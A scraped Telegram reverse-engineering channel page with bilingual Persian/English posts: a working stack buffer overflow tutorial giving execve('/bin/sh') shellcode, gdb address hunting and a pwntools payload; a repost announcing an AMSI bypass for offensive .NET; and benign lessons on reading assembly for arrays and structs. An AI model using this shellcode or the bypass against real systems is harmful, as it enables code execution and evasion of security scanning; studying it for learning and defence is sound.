ch
Feedback
ReverseEngineering

ReverseEngineering

前往频道在 Telegram
1 265
订阅者
无数据24 小时
-37 天
+730 天
帖子存档
Repost from N/a
New blog on using CLR customizations to improve the OPSEC of your .NET execution harness. This includes a novel AMSI bypass that identified by author in 2023. By taking control of CLR assembly loads, we can load assemblies from memory with no AMSI scan. https://securityintelligence.com/x-force/being-a-good-clr-host-modernizing-offensive-net-tradecraft/ Proof-of-concept for the AMSI bypass and an implementation of a CLR memory manager is on GitHub. We can implement custom memory routines and track all allocations made by the CLR. https://github.com/passthehashbrowns/Being-A-Good-CLR-Host #redteam #net #clr

Tamagotchi On reverse engineering project https://github.com/kaero/t-on @reverseengine

بخش دوازدهم بافر اورفلو پیدا کردن آدرسی که باید بپریم روش اینجا تصمیم می‌گیریم برنامه کجا اجرا بشه RIP بگیم کجا بره یعنی می‌خوایم یک آدرس واقعی داخل حافظه پیدا کنیم که برنامه بپره اونجا معمولا اینجا دو راه داریم پریدن روی شل‌ کد خودمون وریدن روی تابعی مثل system ret2libe پریدن روی شل‌ کد داخل استک گذاشتن شل‌ کد روی استک فعلا یه شل‌کد ساده execve("/bin/sh") میذاریم
shellcode = b"\x90" * 16 shellcode += b"\x48\x31\xc0\x50\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68" shellcode += b"\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"
نوپ‌اسلاید (\x90) فقط برای اینه که اگه آدرس دقیق نبود هم بیخیال باشه مثلا اگه وسط نوپ‌ ها بپره هم در نهایت میرسه به شل‌ کد پیدا کردن آدرس شل‌ کد روی استک این قسمت همونجاست که Exploit کردن جذاب میشه ما باید بفهمیم این شل‌ کد دقیقا تو حافظه کجا قرار گرفته روش ساده در gdb:
(gdb) run < <(python3 exploit.py)
بعد:
(gdb) info proc mappings
یا:
(gdb) x/500x $rsp
اینجا میگردیم دنبال نوپ‌اسلاید چون پیدا کردنش راحت‌ تره وقتی پیدا کردید مثلا یه چیزی مثل این میبینید: 0x7fffffffe2a0: 90 90 90 90 یعنی آدرس نوپ‌اسلاید 0x7fffffffe2a0 این آدرسیه که میخوایم RIP رو بفرستیم روش ساختن پیلود نهایی برای پریدن روی شل کد الان پیلودمون این میشه [شل‌کد] اول کار [A تا آفست] پر کردن فاصله [آدرس شل‌کد] جای RIP مثال:
from pwn import * offset = 112 ret = p64(0x7fffffffe2a0) shellcode = b"\x90"*16 shellcode += b"\x48\x31\xc0\x50\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68" shellcode += b"\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05" payload = shellcode payload += b"A" * (offset - len(shellcode)) payload += ret print(payload)
تست نهایی پیلو رو اجرا می‌کنیم:
python3 exploit.py | ./vuln
اگر همه چی درست باشه یه شل دارید whoami ls pwd Part 12 Buffer Overflow Finding the address to jump to Here we decide where the program will be executed Let's say RIP where to go That is, we want to find a real address in memory that the program will jump to Usually we have two ways here Jump to our own shellcode Jump to a function like system ret2libe Jump to the shellcode on the stack Putting the shellcode on the stack For now we will put a simple shellcode execve("/bin/sh")
shellcode = b"\x90" * 16 shellcode += b"\x48\x31\xc0\x50\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68" shellcode += b"\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"
The nop slide (\x90) is just there to make sure that the address is not exact For example, if you jump between nops, you will end up with the shellcode Finding the shellcode address on the stack This is where exploiting gets interesting We need to find out exactly where this shellcode is located in memory Simple method in gdb:
(gdb) run < <(python3 exploit.py)
Then:
(gdb) info proc mappings
Or:
(gdb) x/500x $rsp
Here we look for the nop slide because it is easier to find When you find it, for example, something like this You see: 0x7fffffffe2a0: 90 90 90 90 That is the address of the nop slide 0x7fffffffe2a0 This is the address we want to send RIP to Creating the final payload to jump to the shellcode Now our payload will be this [shellcode] First thing [A to offset] fill the gap [shellcode address] replace RIP Example:
from pwn import * offset = 112 ret = p64(0x7fffffffe2a0) shellcode = b"\x90"*16 shellcode += b"\x48\x31\xc0\x50\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68" shellcode += b"\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05" payload = shellcode payload += b"A" * (offset - len(shellcode)) payload += ret print(payload)
Final test We run the payload:
python3 exploit.py | ./vuln
If everything is correct You have a shell whoami ls pwd @reverseengine

مهم‌ترین چیز این بخش برای مهندسی معکوس با دیدن ضرب‌ها تعداد ستون‌ ها و نوع داده رو تشخیص بدید مثال:
mov eax, DWORD PTR [rdi + rsi*20 + rdx*4]
چون 20 = 5*4 پس آرایه 2D است با 5 ستون چطور بفهمیم pointer به عنوان iterator استفاده شده؟ اگر دیدی:
add rdi, 4
یعنی pointer افزایش داده شده معادل:
ptr++;
اگر:
add rdi, 8
یعنی دابل (++) The most important thing in this section for reverse engineering Distinguish the number of columns and data type by looking at the multiplications Example:
mov eax, DWORD PTR [rdi + rsi*20 + rdx*4]
Since 20 = 5*4, it is a 2D array with 5 columns How do we know that a pointer is used as an iterator? If you see:
add rdi, 4
it means the pointer has been incremented Equivalent to:
ptr++;
If:
add rdi, 8
it means double (++) @reverseengine

Pointer Arithmetic اگر دیدید:
lea rax, [rdi + rsi*8]
یعنی: pointer جا به جا میشه هیچ read/write انجام نشده فقط آدرس محاسبه شده در C:
ptr = arr + i;
الگوی Flattened Arrays کد اسمبلی:
int arr[3][4]; return arr[i][j];
اسمبلی الگوی دائمیش:
i * 4*size_row + j * 4
یعنی:
rdi + rsi*16 + rdx*4
حتی اگر بدون معنی باشه همیشه تابع همین الگو رو میسازه Pointer Arithmetic If you see:
lea rax, [rdi + rsi*8]
That means: Pointer is moved No read/write is done Only address is calculated In C:
ptr = arr + i;
Flattened Arrays Pattern Assembly code:
int arr[3][4]; return arr[i][j];
Assembly its constant pattern:
i * 4*size_row + j * 4
That means:
rdi + rsi*16 + rdx*4
Even if it is meaningless, it always creates a function of this pattern @reverseengine

دسترسی به struct
struct X { int a; // offset 0 int b; // offset 4 double c; // offset 8 };
در اسمبلی:
mov eax, DWORD PTR [rdi] ; a mov eax, DWORD PTR [rdi + 4] ; b movsd xmm0, [rdi + 8] ; c
نکته: double همیشه با XMM رجیستر لود میشه Accessing struct
struct X { int a; // offset 0 int b; // offset 4 double c; // offset 8 };
In assembly:
mov eax, DWORD PTR [rdi] ; a mov eax, DWORD PTR [rdi + 4] ; b movsd xmm0, [rdi + 8] ; c
Note: double is always loaded with XMM register @reverseengine

آرایه دو‌بعدی در حافظه Row-Major Layout C همه رو به صورت پشت‌ سر هم ذخیره میکنه
arr[i][j] = *(base + (i * ncols + j))
در اسمبلی:
mov eax, DWORD PTR [rdi + rsi*8 + rdx*4]
اگر 8 = ncols * 4 پس:
i * ncols * sizeof(int)
چیزی که باید بلد باشید: به عدد ضربی در index نگاه کنید تعداد ستون‌ها را میفهمی 2D Array in Memory Row-Major Layout C Stores everything in a row
arr[i][j] = *(base + (i * ncols + j))
In assembly:
mov eax, DWORD PTR [rdi + rsi*8 + rdx*4]
If 8 = ncols * 4 then:
i * ncols * sizeof(int)
Something you should know: Look at the multiplier in the index to get the number of columns @reverseengine

Pointer Arithmetic & Array Access دسترسی به آرایه تک‌ بعدی دستور کلی:
arr[i] = *(arr + i)
در اسمبلی:
mov eax, DWORD PTR [rdi + rsi*4]
این خط یعنی:
rdi آدرس base آرایه rsi مقدار i *4 چون int = 4 bytes
 نکته مهم برای ریورس: هر وقت ضربدر 1/2/4/8 دیدی نوع داده مشخص میشه ضربدر نوع داده
*1 char *2 short *4 int/float *8 long/double/pointer
Pointer Arithmetic & Array Access Accessing a one-dimensional array General instruction:
arr[i] = *(arr + i)
In assembly:
mov eax, DWORD PTR [rdi + rsi*4]
This line means:
rdi base address of the array rsi value of i *4 because int = 4 bytes
Important note for reverse: Whenever you see multiplication by 1/2/4/8, the data type is specified Multiplication by data type
*1 char *2 short *4 int/float *8 long/double/pointer
@reverseengine

photo content

VMProtect 2 - Detailed Analysis of the Virtual Machine Architecture https://back.engineering/17/05/2021/ @reverseengine

A Universal MCU Firmware Emulator for Dynamic Analysis without Any Hardware Dependence https://github.com/MCUSec/uEmu @reverseengine

A Trace Explorer for Reverse Engineers https://github.com/gaasedelen/tenet @reverseengine

Analysing a 1-day Vulnerability in the Linux Kernel's TLS Subsystem https://faith2dxy.xyz/2025-10-02/kCTF-TLS-nday-analysis @reverseengine